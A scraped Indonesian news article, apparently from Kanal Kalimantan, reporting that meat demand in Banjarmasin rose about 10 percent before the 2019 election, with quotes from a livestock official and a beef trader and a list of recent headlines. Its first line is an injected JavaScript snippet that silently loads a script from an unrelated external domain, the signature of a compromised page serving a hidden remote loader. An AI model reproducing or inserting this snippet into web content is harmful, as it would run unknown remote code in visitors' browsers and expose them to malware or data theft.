(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Jelang Pemilu, Permintaan Daging Meningkat hingga 10 Persen


BANJARMASIN– Kabid Peternakan dan Kesehatan Hewan Dinas Ketahanan Pangan Pertanian dan Perikaan Kota Banjarmasin Anwar Ziady mengatakan jelang Pemilu 2019 kebutuhan masyarakat akan daging ayam dan sapi mengalami kenaikan hingga 10 persen.

Hal tersebut diungkapkannya disela kegiatan Sosialisasi Peran Serta Perhimpunan Pedagang Sapi dan Unggas dalam Menjaga Stabilisasi Harga Daging dan Mengantisipasi Berita Hoax dan ujaran kebencian guna mewujudkan pemilu 2019 yang sejuk, aman dan damai di wilayah Kota Banjarmasin, Rabu (20/3) di Aula Kantor UPT Rumah Potong Hewan Dinas Ketahanan Pangan, Pertanian dan Perikanan Kota Banjarmasin.

“Ada kenaikan memang permintaan daging segar sekitar 10 persen dipasaran. Hal ini karena jelang Pemilu Legislatif dan Presiden Tahun 2019 bertepatan dengan momen Isra Mi’raj. Makanya kenaikan permintaan ini boleh dibilang wajar,” ungkapnya.

Walau mengalami kenaikan permintaan, dirinya memastikan untuk pasokannya dari para peternak berlimpah. Ia pun optimis kenaikan permintaan nantinya tidak berpengaruh banyak terhadap harganya dipasaran.

“Sampai hari ini harga daging ayam dan sapi masih tergolong normal. Kalau pun ada kenaikan paling untuk jenis daging ayam, itu pun kenaikannya hanya Rp1.000 – Rp1.500 perkilonya,” tambahnya.

Kabid Peternakan dan Kesehatan Hewan Dinas Ketahanan Pangan Pertanian dan Perikaan Kota Banjarmasin Anwar Ziady. Foto : Arief Rahman

Sementara itu, salah satu perwakilan pedagang daging sapi di Kantor UPT Rumah Potong Hewan Dinas Ketahanan Pangan, Pertanian dan Perikanan Kota Banjarmasin H Syahri juga memastikan siap mendukung upaya pemerintah dalam menciptakan suasana Pemilu Legislatif dan Presiden Tahun 2019 yang sejuk, aman dan damai.

Salah satu caranya adalah dengan memastikan pasokan daging sapi dipasaran tercukupi dan dijual dengan harga yang kompetitif. Dengan demikian di masyarakat pun tidak terjadi gejolak karena daging sapi mudah didapat dan harganya tidak memberatkan mereka.

“Sejauh ini harga daging sapi segar dipasaran dijual paling mahal sebesar Rp125.000 perkilo. Untuk stoknya kita terus dagangkan dari daerah penghasil, baik itu Jawa Timur, Madura hingga Bali,” pungkasnya.(arief)

Reporter : Arief
Editor : Chell

Desy Arfianty

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

4 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

6 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

7 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

8 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

8 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

12 jam ago

This website uses cookies.